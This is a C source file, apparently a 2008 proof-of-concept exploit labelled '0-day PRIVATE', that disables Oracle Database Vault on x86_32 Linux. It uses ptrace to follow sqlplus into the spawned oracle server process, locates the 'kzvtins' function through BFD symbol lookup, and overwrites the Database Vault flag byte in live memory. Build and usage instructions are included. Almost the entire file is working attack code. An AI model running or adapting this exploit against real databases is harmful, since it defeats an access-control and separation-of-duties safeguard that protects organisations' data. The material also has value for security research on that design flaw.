|
/* * original release: http://vnull.pcnet.com.pl/blog/?p=92 * * ora_dv_mem_off.c version 0x1 * ORACLE Database Vault runtime disabler (x86_32 Linux only) * AKA give_back_the_freedom * by Jakub 'vnull' Wartak <jakub.wartak@gmail.com> 26.02.2008 * 0-day PRIVATE! D0 N0T DI$TRIBUT3! * * Tested on 10.2.0.3, CentOS 5. * For other architectures/OS combos consider having fun with gdb ;] * * Whole Database Vault architecture is flawed if DBA has access to * oracle user process space. IMHO you could limit risk by creating * UNIX accounts for DBAs with membership of OSDBA group (along with * oracle SUID binary and shared memory with only read permission * for OSDBA group [check SHM privs: ipcs -cm] ). But how those DBAs * would cope with some serious crashes (requiring for e.g. restoring * controlfile) ? * * Usage: * Set enviorniment variables: ORACLE_BASE, ORACLE_SID, ORACLE_HOME * $ gcc -Wall ora_dv_mem_off.c -o ora_dv_mem_off -lbfd -liberty * $ ./ora_dv_mem_off * * REQUIEREMENTS: * + run as oracle process owner (by default "oracle") * + working ptrace(), it won't work in systems with ptrace() * disabled (grsecurity and some LKMs). * + BFD headers and library (binutils-devel) * * THE DOCUMENT IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. THE * CONTENT MAY CHANGE WITHOUT NOTICE. IN NO EVENT SHALL THE AUTHORS BE * LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES, INJURIES, * LOSSES OR UNLAWFUL OFFENCES. * * USE AT OWN RISK! * */ #include <bfd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/types.h> #include <sys/ptrace.h> #include <sys/wait.h> #include <linux/user.h> #include <linux/ptrace.h> #include <asm/unistd.h> /* for __NR_clone */
/* you may need to alter this */ #define ORABASE "/u01/app/oracle/product/10.2.0/bin"
/* * Magic... (at&t syntax) * push %ebp * mov %esp, %ebp * mov <DV_FLAG>, %eax * [..] * where DV_FLAG is 32-bit long */ #define ASM_DV_FUNC_PROLOG "\x55\x8b\xec\xb8"
const char *sqlplus = ORABASE "/sqlplus"; const char *oracle = ORABASE "/oracle"; const int long_size = sizeof(long); pid_t child;
long locate_dv_func(void) { asymbol **symbol_table; bfd *b = bfd_openr(oracle, NULL); if (b == NULL) { perror("bfd_openr"); exit(-1); }
bfd_check_format(b, bfd_object); long storage_needed = bfd_get_symtab_upper_bound(b); if(storage_needed < 0) { fprintf(stderr, "wtf?!\n"); exit(-1); }
if((symbol_table = (asymbol**)malloc(storage_needed)) == 0) { perror("malloc"); exit(-1); }
int num_symbols; if((num_symbols = bfd_canonicalize_symtab(b, symbol_table)) <= 0) { fprintf(stderr, "no symbols info\n"); exit(-1); }
int i; for(i = 0; i < num_symbols; i++) { char *symname = bfd_asymbol_name(symbol_table[i]); void *symaddr = bfd_asymbol_value(symbol_table[i]); /* don't even ask why this funciton, for real hardcore: gdb -p <oraclePIDs> */ if(!strcmp(symname, "kzvtins")) { fprintf(stderr, "[%d] symbol \"kzvtins\" at 0x%lx\n", getpid(), (long) symaddr); return (long) symaddr; } }
return 0; }
/* from "Playing with ptrace(), part#2, Linux Journal, author: Pradeep Padala */ void getdata(pid_t child, long addr, char *str, int len) { char *laddr; int i, j; union u { long val; char chars[long_size]; } data; i = 0; j = len / long_size; laddr = str; while(i < j) { data.val = ptrace(PTRACE_PEEKDATA, child, addr + i * 4, NULL); memcpy(laddr, data.chars, long_size); ++i; laddr += long_size; } j = len % long_size; if(j != 0) { data.val = ptrace(PTRACE_PEEKDATA,child, addr + i * 4,NULL); memcpy(laddr, data.chars, j); } str[len] = '\0'; }
void putdata(pid_t child, long addr, char *str, int len) { char *laddr; int i, j; union u { long val; char chars[long_size]; } data; i = 0; j = len / long_size; laddr = str; while(i < j) { memcpy(data.chars, laddr, long_size); ptrace(PTRACE_POKEDATA, child, addr + i * 4, data.val); ++i; laddr += long_size; } j = len % long_size; if(j != 0) { memcpy(data.chars, laddr, j); ptrace(PTRACE_POKEDATA, child, addr + i * 4, data.val); } }
void cleanup(void) { int s; kill(child, SIGKILL); wait(&s); }
int main(int ac, char **av) { int status; pid_t orapid = 0;
bfd_init(); if((child = fork()) == -1) { perror("fork"); exit(-1); }
if(child == 0) { if(ptrace(PTRACE_TRACEME, 0, NULL, NULL)==-1) { perror("unable to ptrace(PTRACE_TRACEME)"); exit(-1); }
/* launch sqlplus */ if(execl(sqlplus, "sqlplus", "/nolog", NULL)==-1) { perror("execl"); exit(-1); }
/* not reached */ exit(0); }
if(atexit(cleanup) != 0) { fprintf(stderr, "[%d] unable to register cleanup function\n", getpid()); }
wait(&status); if(WIFSTOPPED(status)) { fprintf(stderr, "[%d] starting to trace sqlplus process (%d)\n", getpid(), child); }
fprintf(stderr, "[***] NOW TYPE IN SQLPLUS: conn / as sysdba\n");
while(!orapid) { struct user_regs_struct uregs;
ptrace(PTRACE_SYSCALL, child, 0, 0); wait(&status); ptrace(PTRACE_GETREGS, child, 0, &uregs);
/* ouch! no fork()? clone()! */ if(uregs.orig_eax==__NR_clone) { long *regs = 0;
/* fprintf(stderr, "[%d] clone() syscall\n", getpid()); */ ptrace(PTRACE_SYSCALL, child, 0, 0); wait(&status); if((orapid = ptrace(PTRACE_PEEKUSER, child, ®s[EAX], 0)) == -1) { perror("ptrace(PTRACE_PEEKUSER): unable to get clone() retvalue\n"); exit(-1); } fprintf(stderr, "[%d] clone() syscall in %d, tracing orapid=%d\n", getpid(), child, orapid);
/* attach to orapid, detach from sqlplus */ if(ptrace(PTRACE_ATTACH, orapid, 0, 0) == -1) { perror("ptrace(PTRACE_ATTACH) to orapid"); exit(-1); }
while(1) { ptrace(PTRACE_SYSCALL, orapid, 0, 0); wait(&status); ptrace(PTRACE_GETREGS, orapid, 0, &uregs); if(uregs.orig_eax==__NR_execve) { fprintf(stderr, "[%d] execve() syscall in %d, \n", getpid(), orapid); /* end ptrace of syscall */ ptrace(PTRACE_SYSCALL, orapid, 0, 0); break; } else { //fprintf(stderr, "got %ld\n", uregs.orig_eax); ptrace(PTRACE_SYSCALL, orapid, 0, 0); } }
if(ptrace(PTRACE_DETACH, child, 0, 0) == -1) { perror("ptrace(PTRACE_DETACH) from child"); exit(-1); }
} else if(uregs.orig_eax==__NR_execve) { fprintf(stderr, "[%d] execve() syscall in %d\n", getpid(), child); } }
/* now we have oracle server process under our control :) */ long dv_func = locate_dv_func(); if(dv_func == 0) { fprintf(stderr, "ERROR: unable to find function\n"); exit(-1); } wait(&status);
unsigned char buf[32]; memset(buf, 0, sizeof(buf)); getdata(orapid, dv_func, (char *)&buf, 32);
/* dump opcodes */ /* for(i = 0; i < 31; i++) { fprintf(stderr, "%x ", (unsigned char)buf[i]); } */ if(!memcmp(buf, ASM_DV_FUNC_PROLOG, strlen(ASM_DV_FUNC_PROLOG))) { unsigned char dv_status; unsigned long woff = dv_func + strlen(ASM_DV_FUNC_PROLOG), woff2=woff;
getdata(orapid, woff, (char *)&dv_status, 1); fprintf(stderr, "[***] sucessfuly validated function, DatabaseVault=%d\n", dv_status); fprintf(stderr, "[***] attempting to rewrite memory at 0x%lx\n", woff2); unsigned char my = 0; putdata(orapid, woff2, (void *)&my, 1); }
if(ptrace(PTRACE_DETACH, orapid, 0, 0) == -1) { perror("ptrace(PTRACE_DETACH) from orapid"); exit(-1); }
wait(&status); exit(0); }
|
|
|